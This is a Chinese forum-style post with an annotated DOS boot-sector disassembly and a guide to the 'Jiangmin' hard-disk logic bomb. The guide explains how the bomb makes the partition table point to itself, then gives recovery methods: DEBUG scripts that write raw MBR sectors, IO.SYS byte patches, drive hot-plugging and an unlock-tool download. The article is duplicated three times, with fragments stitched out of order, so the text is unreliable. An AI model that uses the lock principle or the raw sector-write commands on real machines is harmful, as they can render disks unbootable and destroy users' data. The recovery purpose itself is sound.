
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次
读盘的时将自身写入磁盘。

引导过程如下:
1>调整堆栈位置
2>修改并用修改后的磁盘参数表来复位磁盘系统
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置
4>读入根目录表的首扇区
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处
7>跳到0000:0700H处执行IO.SYS,引导完毕

003E FA CLI
003F 33C0 XOR AX,AX
0041 8ED0 MOV SS,AX
0041 8ED0 MOV SS,AX
0043 BC007C MOV SP,7C00 ; 初始化堆栈
0046 16 PUSH SS
0047 07 POP ES ;(ES)=0000H
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H
004B 36 SS: ;(SS)=0000H
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表
004F 56 PUSH SI ;取到后压入堆栈中保存
0050 16 PUSH SS
0051 53 PUSH BX ;保存地址0000:0078H
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节
0058 FC CLD
0059 F3 REPZ
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处
005B 06 PUSH ES
005C 1F POP DS ;(DS)=0000H
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间"
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数"
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数"
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址)
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘
0072 7279 JB 00ED ;出错则转出错处理

; 下面一段程序计算扇区位置
0074 33C0 XOR AX,AX
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数
007A 7408 JZ 0084 ;为零表示大硬盘?
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的
0084 A0107C MOV AL,[7C10] ;取FAT表的个数
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位)
008F 13161E7C ADC DX,[7C1E] ; 高位
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位)
0097 83D200 ADC DX,+00 ; (高位)
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位)
009D 8916527C MOV [7C52],DX ; (高位)
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位)
00A4 89164B7C MOV [7C4B],DX ; (高位)
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数"
00B3 03C3 ADD AX,BX ;这两条指令是为了取整
00B5 48 DEC AX
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位)
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位)

;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位)
00C8 A1507C MOV AX,[7C50] ; (低位)
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号
00CE 721D JB 00ED ;出错则转出错处理
00D0 B001 MOV AL,01
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇)
00D5 7216 JB 00ED ;出错处理
00D7 8BFB MOV DI,BX ;内存缓冲区的首址
00D9 B90B00 MOV CX,000B ;比较11个字节
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节
00DF F3 REPZ
00E0 A6 CMPSB ;看第一项是否为IO.SYS
00E1 750A JNZ 00ED ;不是则出错
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项
00E6 B90B00 MOV CX,000B ;比较11个字节
00E9 F3 REPZ
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理

;下面一段进行出错处理
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..."
00F0 E85F00 CALL 0152 ;显示字符串
00F3 33C0 XOR AX,AX
00F5 CD16 INT 16 ;等待任一键按下
00F7 5E POP SI
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H
00F9 8F04 POP [SI]
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容
00FE CD19 INT 19 ;自举
0100 58 POP AX
0101 58 POP AX
0102 58 POP AX ;清理堆栈
0103 EBE8 JMP 00ED ;再次试图起动

;下面读入IO.SYS的头3个扇区到内存0000:0700H处
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号
0108 48 DEC AX
0109 48 DEC AX ;首簇号减二
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数
010E 32FF XOR BH,BH
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号
0116 13164B7C ADC DX,[7C4B]
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区
0120 50 PUSH AX ;逻辑扇区号进栈(低位)
0121 52 PUSH DX ; (高位)
0122 51 PUSH CX ;循环计数器进栈
0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号
0126 72D8 JB 0100 ;出错处理
0128 B001 MOV AL,01
012A E85400 CALL 0181 ;读一个扇区到内存缓冲区
012D 59 POP CX ;循环计数出栈
012E 5A POP DX
012F 58 POP AX ;逻辑扇区号出栈
0130 72BB JB 00ED ;读盘出错处理
0132 050100 ADD AX,0001
0135 83D200 ADC DX,+00 ;下一个扇区
0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小
013C E2E2 LOOP 0120 ;循环读入三个扇区
013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS
0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号"
0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号
014A A14B7C MOV AX,[7C4B]
014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕

;显示字符串的子程序
0152 AC LODSB ;从串中取一个字符
0153 0AC0 OR AL,AL
0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令)
0157 B40E MOV AH,0E
0159 BB0700 MOV BX,0007
015C CD10 INT 10 ;显示该字符
015E EBF2 JMP 0152 ;循环显示下一个

;将逻辑扇区号转换为物理扇区号的子程序
0160 3B16187C CMP DX,[7C18] ;这两条指令是为了避免第二次除法时除数
0164 7319 JNB 017F ;为0
0166 F736187C DIV WORD PTR [7C18] ;逻辑扇取号除以每道扇区数,商(AX)=总磁
016A FEC2 INC DL ;道数,余数(DX)再加一即为扇区号,因为扇
016C 88164F7C MOV [7C4F],DL ;区号是从1开始的,而不是从0开始
0170 33D2 XOR DX,DX
0172 F7361A7C DIV WORD PTR [7C1A] ;总磁道数(AX)再除以面数,所得的
0176 8816257C MOV [7C25],DL ;余数(DX)=面号(即磁头号)
017A A34D7C MOV [7C4D],AX ;商(AX)=磁道号
017D F8 CLC
017E C3 RET ;正常返回
017F F9 STC
0180 C3 RET ;异常返回

;读一个扇区的子程序
0181 B402 MOV AH,02 ;读功能调用
0183 8B164D7C MOV DX,[7C4D] ;需要的入口参数如下:
0187 B106 MOV CL,06 ;(DL)=驱动器号
0189 D2E6 SHL DH,CL ;(DH)=面号
018B 0A364F7C OR DH,[7C4F] ;(CH)=磁道号
018F 8BCA MOV CX,DX ;(CL)=扇区号(第6,7位为磁道号的高2位)
0191 86E9 XCHG CH,CL ;(AL)=要读的扇区数
0193 8A16247C MOV DL,[7C24] ;(ES:BX)=缓冲区首址
0197 8A36257C MOV DH,[7C25]
019B CD13 INT 13
019D C3 RET

9x下的主引导/引导扇区没大区别,为了识别大分区用了一个INT 13的扩展调用42H
                                  “江民炸弹”的介绍与清除  
                     -----------------------------------------------------
  _江民炸弹是个更厉害更恐怖的恶意程序,是我见过的最狠毒的硬盘炸弹之一。为什么叫“江民”炸弹,我想大家也都知道吧?毕竟用过KV系列软件的人有很多,如果当年你曾中过KV杀毒软件的逻辑炸弹,那么对这个“江 民”炸弹你也不会陌生--会有熟悉的感觉哦^_^!
__
__软件解压缩后有4个文件,一个是说明文件readme.exe,一个是制作解锁盘用的文件rescue.com,还有两个文件就是江 民炸弹了。它们的名字分别为Jmbs.arj、JMBOS. zip,其实它们都是一个文件压缩而成,只不过扩展名不同而已。如果你把它们解压会看到jmbs.exe文件,大小为1809字节。这个jmbs.exe就是江 民炸弹了。如果你不小心运行了它,机器的硬盘将会被死锁住,无论你用软驱还是光驱,都不能启动计算机,硬盘和报废了没什么区别!如果不懂得解法,基本上就只有买硬盘了!哈哈,恭喜恭喜,可以升级了。__
__软件原理:计算机在引导DOS系统时将会搜索所有逻辑盘的顺序,当DOS被引导时,首先要去找主引导扇区的分区表信息,位于硬盘的零头零柱面的第一个扇区的OBEH地址开始的地方,当分区信息开始的地方为80H时表示是主引导分区,其他的为扩展分区,主引导分区被定义为逻辑盘C盘,然后查找扩展分区的逻辑盘,被定义为D盘,以此类推找到E,F,G.....“逻辑锁”就是在此下手,修改了正常的主引导分区记录将扩展分区的第一个逻辑盘指向自己,DOS在启动时查找到第一个逻辑盘后,查找下个逻辑盘总是找到是自己,这样一来就形成了死循环,这就是使用软驱,光驱,双硬盘都不能正常启动的原因。实际上这“逻辑锁”只是利用了DOS在启动时的一个小小缺陷,便令不少高手都束手无策。知道了“逻辑锁”的“上锁”原理,要解锁也就比较容易了。
__
__解决办法:
__
__方法一:把rescue.exe拷贝到一张空白的1.44MB软盘上,插入软驱,然后运行。显示“OK”之类的提示信息后,你就有了一张江 民炸弹的解锁盘,如果你发现里面一个文件也没有,不要惊讶,你没有做错什么,就是这个样子的。快试试吧,用这张恢复盘启动机子,如果出现unlock的字样,那就恭喜你,成功地解锁了!想当年,我用这张解锁盘给朋友解锁,可没少美餐啊!她们是怎么中的就不用我说了吧,嘻嘻^_^!
__
__方法二:修改DOS启动文件
__
__首先准备一张DOS6.22的系统盘,带上debug、pctools5.0、fdisk等工具。然后在一台正常的机器上,使用你熟悉的二进制编辑工具(debug、pctools5.0,或者是运行在Windows下的Ultraedit都行)修改软盘上的IO.SYS文件(修改前记住改该文件的属性为正常),具体是在这个文件里面搜索第一个“55aa”字符串,找到以后修改为任意其他数值即可。用这张修改过的系统软盘你就可以顺利地带着被锁的硬盘启动了。不过这时由于该硬盘正常的分区表已经被逻辑炸弹给恶意修改了,你无法用FDISK来删除和修改分区,而且仍无法用正常的启动盘启动系统,这时你可以用DEBUG来手工恢复。使用DEBUG手工修复硬盘步骤如下:
__
__a:\>debug
__
__-a
__
_-xxxx:100 mov ax,0201 读一个扇区的内容
__
__-xxxx:103 mov bx,500设置一个缓存地址
__
__-xxxx:106 mov cx,0001 设置第一个硬盘的硬盘指针
__
__-xxxx:109 mov dx,0080 读零磁头
__
__-xxxx:10c int 13硬盘中断
__
__-xxxx:10e int 20
__
__-xxxx:0110退出程序返回到指示符
__
__-g运行
__
__-d500查看运行后500地址的内容
__
__这时候会发现地址6be开始的内容是硬盘分区的信息,发现此硬盘的扩展分区指向自己,这就使DOS或Windows启动时查找硬盘逻辑盘进去死循环,在DEBUG指示符下用E命令修改内存数据 具体如下:
__
__E6BE
__
__xx.0 xx.0 xx.0...............
__
__.............................
__
__.......................55 AA
__55 AA表示硬盘有效的标记,不要修改,xx0表示把以前的数据“xx”改成0,再用硬盘中断13把修改好的数据写入硬盘就可以了,具体如下:
__
__A:\>debug
__
__a 100 表示修改100地址的汇编指令
__
__-xxxx:100 mov ax,0301 写硬盘一个扇区
__
__-xxxx: 这里直接按回车
__
__-g 运行
__
__-q 退出
__
__然后运行FDISK/MBR(重置硬盘引导扇区的引导程序),再重新启动电脑就行了。
__
__怎么样?用这种方法处理够简单的吧?而且这种方法还有一个好处就是可以保住盘上的数据!如果你不需要保数据的话,还有更加简单的处理方法:
__
__方法三:巧设BIOS,用DM解锁
__
__大家知道DM软件是不依赖于主板BIOS的硬盘识别安装软件(所以在不能识别大硬盘的老主板上也可用DM来安装使用大容量硬盘)。就算在BIOS中将硬盘设为“NONE”,DM也可识别并处理硬盘。
__
__首先你要找到和硬盘配套的DM软件(找JS要或去网上荡),然后把DM拷到一张系统盘上。接上被锁硬盘,开机,按住DEL键,进CMOS设置,将所有IDE硬盘设为“NONE”(这是关键所在!),保存设置,重启动,这时系统即可 “带锁”启动。启动后运行DM,你会发现DM可以绕过BIOS,识别出硬盘,选中该硬盘,分区格式化,就OK了。这么简单?不过这种方法的弱点是硬盘上的数据将全部丢失。
__
__方法四:对硬盘进行热拔插
__
__在加电热拔插之前应该先做好了一切的准备,并尽可能想一下会出现的问题,把硬盘的电源线先给拔松了一点,防止在热拔插时拔不出来,那就遭了,不过也不能太松不然会找不到硬盘的,找一张软盘启动盘,并插到软驱里,加电开机,看着熟悉的画面,心中尽管有些激动,但你的手可千万不要抖啊,不然硬盘烧掉就惨了!眼睛牢牢盯住你的显示器,软驱灯亮之前(就是要在DOS自举之前并且装入硬盘驱动后,)按下键盘上的“PAUSE”!再把硬盘上的电源线的给拔掉,然后就恢复暂定,一直到DOS启动完成出现DOS提示符的时候,这时你再把电源线给插到硬盘上去,这时如果硬盘没坏的话,就会发现已经可以用磁盘分区工具FDISK命令来查看硬盘的分区表了,不过没有这么简单,里面的分区表已经被逻辑炸弹给恶意修改了,只能查看不能修改也不能删除而且一团糟,用普通的办法还是不能解决的,此时只有用DEBUG来手工恢复了!具体方法同方法二。不过只能修复C盘也就是主引导分区,因为扩展分区已经修改了。恢复了以后,硬盘就可以用FDISK把主引导分区的其它空间分成扩展分区与逻辑盘了。一切OK!
__

__方法五:利用分区表备份恢复
__
__这是最简单的方法,在平时将硬盘的分区表备份一个(没有的话,找一个与之相同型号的硬盘的分区表也可以),万一硬盘被逻辑炸弹干掉了,用软盘都起不动的话,可以在BIOS里将硬盘设为“NONE”,启动后,将分区表的备份恢复回去,然后将硬盘的设置改回来,从新启动fdisk就可以了。以上的工作,不需要找什么特别的软件,一般的杀毒软件,如瑞星,KV3000都可以的。还有,如果有条件,最好装一块硬盘保护卡,可以对付绝大部分的病毒,至少,系统不会被破坏--出了问题,冷启一下就可以了。像CIH这样直接修改BIOS数据的都可以恢复。
__
__方法六:用硬盘逻辑锁解锁程序
__
__如果硬盘被锁死的症结根源在于DOS中的IO.SYS文件,它包含LOADER、IO1、IO2、IO3四个模块,其中IO1中包含有一个很关键的程序SysInt_I,它在启动中很固执,非要去读分区表,而且不把分区表读完誓不罢休。如果碰上分区表是循环的,它就只有死机了(通常硬盘分区表被锁住以后,形成一个闭合的循环链,IO.SYS从链头读起,试图读取所有分区的信息,从而形成死循环。如果修改IO.SYS文件,这样读的第十个扇区结尾处不是55 AA,就认为不是一个逻辑分区的主引导记录,停止读盘,跳出死循环链。我们用UltraEdit打开C:\IO.SYS,查找“b9 01 00 cd 13”(MS Dos6.22只有一处,Win98有2处要修改),改为“b9 10 00 cd 13”。不过,这样操作后,这样即使硬盘分区表是完好的,启动后也不认硬盘。所以修改IO.SYS以后,如果要正常访问硬盘还要将IO.SYS恢复原状。)。很明显,这是DOS的脆弱性和不完备性。其实这也不能怪DOS,因为DOS为了获得硬盘使用权,就必需读分区表参数,而且DOS还约定驱动器号不能超过26,只不过没有考虑到此等循环分区表情形。一句话,机子不能启动不过是DOS操作系统造成的,如果另写一个操作系统,或许就能启动机子。当然这只是说个笑话。
__
__明白了病因在于DOS,问题就好办了。DOS启动中不是要读硬盘分区表吗?我不让你读分区表甚至连硬盘都不让你读,不就可以顺利启动了。的确是这样的,开硬盘锁的程序实现方法就是基于这个思想形成的。当然,这只有从软盘启动着手了。
__
__我们当然不用自己去动手编制这样的程序了,因为已经有好心的网友提供了这样的程序,以下为某网友编制的硬盘逻辑锁解锁程序,对付硬盘逻辑锁非常有用,下载地址:
__
__ftp://202.110.213.90/wenxinjy/fix-io.rar,含源代码及目标程序,共1020字节。
__
__使用方法:如果你的硬盘被老王的逻辑锁给锁住了,把这个小工具复制到你的引导盘上,运行它Modify一下,然后用它来引导被锁的机器。一切OK。注意修复硬盘后Restore回来。当然你运行它时,软驱要打开写保护啦。
__
__好了,有了上面这些方法你就不用再害怕逻辑炸弹了。如果你不小心“中弹”,就试试上面这些方法吧。
“江民炸弹”的介绍与清除  

  江民炸弹是个更厉害更恐怖的恶意程序,是我见过的最狠毒的硬盘炸弹之一。为什么叫“江民”炸弹,我想大家也都知道吧?毕竟用过KV系列软件的人有很多,如果当年你曾中过KV杀毒软件的逻辑炸弹,那么对这个“江 民”炸弹你也不会陌生--会有熟悉的感觉哦^_^!
__
__软件解压缩后有4个文件,一个是说明文件readme.exe,一个是制作解锁盘用的文件rescue.com,还有两个文件就是江 民炸弹了。它们的名字分别为Jmbs.arj、JMBOS. zip,其实它们都是一个文件压缩而成,只不过扩展名不同而已。如果你把它们解压会看到jmbs.exe文件,大小为1809字节。这个jmbs.exe就是江 民炸弹了。如果你不小心运行了它,机器的硬盘将会被死锁住,无论你用软驱还是光驱,都不能启动计算机,硬盘和报废了没什么区别!如果不懂得解法,基本上就只有买硬盘了!哈哈,恭喜恭喜,可以升级了。__
__软件原理:计算机在引导DOS系统时将会搜索所有逻辑盘的顺序,当DOS被引导时,首先要去找主引导扇区的分区表信息,位于硬盘的零头零柱面的第一个扇区的OBEH地址开始的地方,当分区信息开始的地方为80H时表示是主引导分区,其他的为扩展分区,主引导分区被定义为逻辑盘C盘,然后查找扩展分区的逻辑盘,被定义为D盘,以此类推找到E,F,G.....“逻辑锁”就是在此下手,修改了正常的主引导分区记录将扩展分区的第一个逻辑盘指向自己,DOS在启动时查找到第一个逻辑盘后,查找下个逻辑盘总是找到是自己,这样一来就形成了死循环,这就是使用软驱,光驱,双硬盘都不能正常启动的原因。实际上这“逻辑锁”只是利用了DOS在启动时的一个小小缺陷,便令不少高手都束手无策。知道了“逻辑锁”的“上锁”原理,要解锁也就比较容易了。
__
__解决办法:
__
__方法一:把rescue.exe拷贝到一张空白的1.44MB软盘上,插入软驱,然后运行。显示“OK”之类的提示信息后,你就有了一张江 民炸弹的解锁盘,如果你发现里面一个文件也没有,不要惊讶,你没有做错什么,就是这个样子的。快试试吧,用这张恢复盘启动机子,如果出现unlock的字样,那就恭喜你,成功地解锁了!想当年,我用这张解锁盘给朋友解锁,可没少美餐啊!她们是怎么中的就不用我说了吧,嘻嘻^_^!
__
__方法二:修改DOS启动文件
__
__首先准备一张DOS6.22的系统盘,带上debug、pctools5.0、fdisk等工具。然后在一台正常的机器上,使用你熟悉的二进制编辑工具(debug、pctools5.0,或者是运行在Windows下的Ultraedit都行)修改软盘上的IO.SYS文件(修改前记住改该文件的属性为正常),具体是在这个文件里面搜索第一个“55aa”字符串,找到以后修改为任意其他数值即可。用这张修改过的系统软盘你就可以顺利地带着被锁的硬盘启动了。不过这时由于该硬盘正常的分区表已经被逻辑炸弹给恶意修改了,你无法用FDISK来删除和修改分区,而且仍无法用正常的启动盘启动系统,这时你可以用DEBUG来手工恢复。使用DEBUG手工修复硬盘步骤如下:
__
__a:\>debug
__
__-a “江民炸弹”的介绍与清除  

2002-03-21 08:46:46  
  _江民炸弹是个更厉害更恐怖的恶意程序,是我见过的最狠毒的硬盘炸弹之一。为什么叫“江民”炸弹,我想大家也都知道吧?毕竟用过KV系列软件的人有很多,如果当年你曾中过KV杀毒软件的逻辑炸弹,那么对这个“江 民”炸弹你也不会陌生--会有熟悉的感觉哦^_^!
__
__软件解压缩后有4个文件,一个是说明文件readme.exe,一个是制作解锁盘用的文件rescue.com,还有两个文件就是江 民炸弹了。它们的名字分别为Jmbs.arj、JMBOS. zip,其实它们都是一个文件压缩而成,只不过扩展名不同而已。如果你把它们解压会看到jmbs.exe文件,大小为1809字节。这个jmbs.exe就是江 民炸弹了。如果你不小心运行了它,机器的硬盘将会被死锁住,无论你用软驱还是光驱,都不能启动计算机,硬盘和报废了没什么区别!如果不懂得解法,基本上就只有买硬盘了!哈哈,恭喜恭喜,可以升级了。__
__软件原理:计算机在引导DOS系统时将会搜索所有逻辑盘的顺序,当DOS被引导时,首先要去找主引导扇区的分区表信息,位于硬盘的零头零柱面的第一个扇区的OBEH地址开始的地方,当分区信息开始的地方为80H时表示是主引导分区,其他的为扩展分区,主引导分区被定义为逻辑盘C盘,然后查找扩展分区的逻辑盘,被定义为D盘,以此类推找到E,F,G.....“逻辑锁”就是在此下手,修改了正常的主引导分区记录将扩展分区的第一个逻辑盘指向自己,DOS在启动时查找到第一个逻辑盘后,查找下个逻辑盘总是找到是自己,这样一来就形成了死循环,这就是使用软驱,光驱,双硬盘都不能正常启动的原因。实际上这“逻辑锁”只是利用了DOS在启动时的一个小小缺陷,便令不少高手都束手无策。知道了“逻辑锁”的“上锁”原理,要解锁也就比较容易了。
__
__解决办法:
__
__方法一:把rescue.exe拷贝到一张空白的1.44MB软盘上,插入软驱,然后运行。显示“OK”之类的提示信息后,你就有了一张江 民炸弹的解锁盘,如果你发现里面一个文件也没有,不要惊讶,你没有做错什么,就是这个样子的。快试试吧,用这张恢复盘启动机子,如果出现unlock的字样,那就恭喜你,成功地解锁了!想当年,我用这张解锁盘给朋友解锁,可没少美餐啊!她们是怎么中的就不用我说了吧,嘻嘻^_^!
__
__方法二:修改DOS启动文件
__
__首先准备一张DOS6.22的系统盘,带上debug、pctools5.0、fdisk等工具。然后在一台正常的机器上,使用你熟悉的二进制编辑工具(debug、pctools5.0,或者是运行在Windows下的Ultraedit都行)修改软盘上的IO.SYS文件(修改前记住改该文件的属性为正常),具体是在这个文件里面搜索第一个“55aa”字符串,找到以后修改为任意其他数值即可。用这张修改过的系统软盘你就可以顺利地带着被锁的硬盘启动了。不过这时由于该硬盘正常的分区表已经被逻辑炸弹给恶意修改了,你无法用FDISK来删除和修改分区,而且仍无法用正常的启动盘启动系统,这时你可以用DEBUG来手工恢复。使用DEBUG手工修复硬盘步骤如下:
__
__a:\>debug
__
__-a
__
_-xxxx:100 mov ax,0201 读一个扇区的内容
__
__-xxxx:103 mov bx,500设置一个缓存地址
__
__-xxxx:106 mov cx,0001 设置第一个硬盘的硬盘指针
__
__-xxxx:109 mov dx,0080 读零磁头
__
__-xxxx:10c int 13硬盘中断
__
__-xxxx:10e int 20
__
__-xxxx:0110退出程序返回到指示符
__
__-g运行
__
__-d500查看运行后500地址的内容
__
__这时候会发现地址6be开始的内容是硬盘分区的信息,发现此硬盘的扩展分区指向自己,这就使DOS或Windows启动时查找硬盘逻辑盘进去死循环,在DEBUG指示符下用E命令修改内存数据 具体如下:
__
__E6BE
__
__xx.0 xx.0 xx.0...............
__
__.............................
__
__.......................55 AA
__55 AA表示硬盘有效的标记,不要修改,xx0表示把以前的数据“xx”改成0,再用硬盘中断13把修改好的数据写入硬盘就可以了,具体如下:
__
__A:\>debug
__
__a 100 表示修改100地址的汇编指令
__
__-xxxx:100 mov ax,0301 写硬盘一个扇区
__
__-xxxx: 这里直接按回车
__
__-g 运行
__
__-q 退出
__
__然后运行FDISK/MBR(重置硬盘引导扇区的引导程序),再重新启动电脑就行了。
__
__怎么样?用这种方法处理够简单的吧?而且这种方法还有一个好处就是可以保住盘上的数据!如果你不需要保数据的话,还有更加简单的处理方法:
__
__方法三:巧设BIOS,用DM解锁
__
__大家知道DM软件是不依赖于主板BIOS的硬盘识别安装软件(所以在不能识别大硬盘的老主板上也可用DM来安装使用大容量硬盘)。就算在BIOS中将硬盘设为“NONE”,DM也可识别并处理硬盘。
__
__首先你要找到和硬盘配套的DM软件(找JS要或去网上荡),然后把DM拷到一张系统盘上。接上被锁硬盘,开机,按住DEL键,进CMOS设置,将所有IDE硬盘设为“NONE”(这是关键所在!),保存设置,重启动,这时系统即可 “带锁”启动。启动后运行DM,你会发现DM可以绕过BIOS,识别出硬盘,选中该硬盘,分区格式化,就OK了。这么简单?不过这种方法的弱点是硬盘上的数据将全部丢失。
__
__方法四:对硬盘进行热拔插
__
__在加电热拔插之前应该先做好了一切的准备,并尽可能想一下会出现的问题,把硬盘的电源线先给拔松了一点,防止在热拔插时拔不出来,那就遭了,不过也不能太松不然会找不到硬盘的,找一张软盘启动盘,并插到软驱里,加电开机,看着熟悉的画面,心中尽管有些激动,但你的手可千万不要抖啊,不然硬盘烧掉就惨了!眼睛牢牢盯住你的显示器,软驱灯亮之前(就是要在DOS自举之前并且装入硬盘驱动后,)按下键盘上的“PAUSE”!再把硬盘上的电源线的给拔掉,然后就恢复暂定,一直到DOS启动完成出现DOS提示符的时候,这时你再把电源线给插到硬盘上去,这时如果硬盘没坏的话,就会发现已经可以用磁盘分区工具FDISK命令来查看硬盘的分区表了,不过没有这么简单,里面的分区表已经被逻辑炸弹给恶意修改了,只能查看不能修改也不能删除而且一团糟,用普通的办法还是不能解决的,此时只有用DEBUG来手工恢复了!具体方法同方法二。不过只能修复C盘也就是主引导分区,因为扩展分区已经修改了。恢复了以后,硬盘就可以用FDISK把主引导分区的其它空间分成扩展分区与逻辑盘了。一切OK!
__

__方法五:利用分区表备份恢复
__
__这是最简单的方法,在平时将硬盘的分区表备份一个(没有的话,找一个与之相同型号的硬盘的分区表也可以),万一硬盘被逻辑炸弹干掉了,用软盘都起不动的话,可以在BIOS里将硬盘设为“NONE”,启动后,将分区表的备份恢复回去,然后将硬盘的设置改回来,从新启动fdisk就可以了。以上的工作,不需要找什么特别的软件,一般的杀毒软件,如瑞星,KV3000都可以的。还有,如果有条件,最好装一块硬盘保护卡,可以对付绝大部分的病毒,至少,系统不会被破坏--出了问题,冷启一下就可以了。像CIH这样直接修改BIOS数据的都可以恢复。
__
__方法六:用硬盘逻辑锁解锁程序
__
__如果硬盘被锁死的症结根源在于DOS中的IO.SYS文件,它包含LOADER、IO1、IO2、IO3四个模块,其中IO1中包含有一个很关键的程序SysInt_I,它在启动中很固执,非要去读分区表,而且不把分区表读完誓不罢休。如果碰上分区表是循环的,它就只有死机了(通常硬盘分区表被锁住以后,形成一个闭合的循环链,IO.SYS从链头读起,试图读取所有分区的信息,从而形成死循环。如果修改IO.SYS文件,这样读的第十个扇区结尾处不是55 AA,就认为不是一个逻辑分区的主引导记录,停止读盘,跳出死循环链。我们用UltraEdit打开C:\IO.SYS,查找“b9 01 00 cd 13”(MS Dos6.22只有一处,Win98有2处要修改),改为“b9 10 00 cd 13”。不过,这样操作后,这样即使硬盘分区表是完好的,启动后也不认硬盘。所以修改IO.SYS以后,如果要正常访问硬盘还要将IO.SYS恢复原状。)。很明显,这是DOS的脆弱性和不完备性。其实这也不能怪DOS,因为DOS为了获得硬盘使用权,就必需读分区表参数,而且DOS还约定驱动器号不能超过26,只不过没有考虑到此等循环分区表情形。一句话,机子不能启动不过是DOS操作系统造成的,如果另写一个操作系统,或许就能启动机子。当然这只是说个笑话。
__
__明白了病因在于DOS,问题就好办了。DOS启动中不是要读硬盘分区表吗?我不让你读分区表甚至连硬盘都不让你读,不就可以顺利启动了。的确是这样的,开硬盘锁的程序实现方法就是基于这个思想形成的。当然,这只有从软盘启动着手了。
__
__我们当然不用自己去动手编制这样的程序了,因为已经有好心的网友提供了这样的程序,以下为某网友编制的硬盘逻辑锁解锁程序,对付硬盘逻辑锁非常有用,下载地址:
__
__ftp://202.110.213.90/wenxinjy/fix-io.rar,含源代码及目标程序,共1020字节。
__
__使用方法:如果你的硬盘被老王的逻辑锁给锁住了,把这个小工具复制到你的引导盘上,运行它Modify一下,然后用它来引导被锁的机器。一切OK。注意修复硬盘后Restore回来。当然你运行它时,软驱要打开写保护啦。
__

__
_-xxxx:100 mov ax,0201 读一个扇区的内容
__
__-xxxx:103 mov bx,500设置一个缓存地址
__
__-xxxx:106 mov cx,0001 设置第一个硬盘的硬盘指针
__
__-xxxx:109 mov dx,0080 读零磁头
__
__-xxxx:10c int 13硬盘中断
__
__-xxxx:10e int 20
__
__-xxxx:0110退出程序返回到指示符
__
__-g运行
__
__-d500查看运行后500地址的内容
__
__这时候会发现地址6be开始的内容是硬盘分区的信息,发现此硬盘的扩展分区指向自己,这就使DOS或Windows启动时查找硬盘逻辑盘进去死循环,在DEBUG指示符下用E命令修改内存数据 具体如下:
__
__E6BE
__
__xx.0 xx.0 xx.0...............
__
__.............................
__
__.......................55 AA
__55 AA表示硬盘有效的标记,不要修改,xx0表示把以前的数据“xx”改成0,再用硬盘中断13把修改好的数据写入硬盘就可以了,具体如下:
__
__A:\>debug
__
__a 100 表示修改100地址的汇编指令
__
__-xxxx:100 mov ax,0301 写硬盘一个扇区
__
__-xxxx: 这里直接按回车
__
__-g 运行
__
__-q 退出
__
__然后运行FDISK/MBR(重置硬盘引导扇区的引导程序),再重新启动电脑就行了。
__
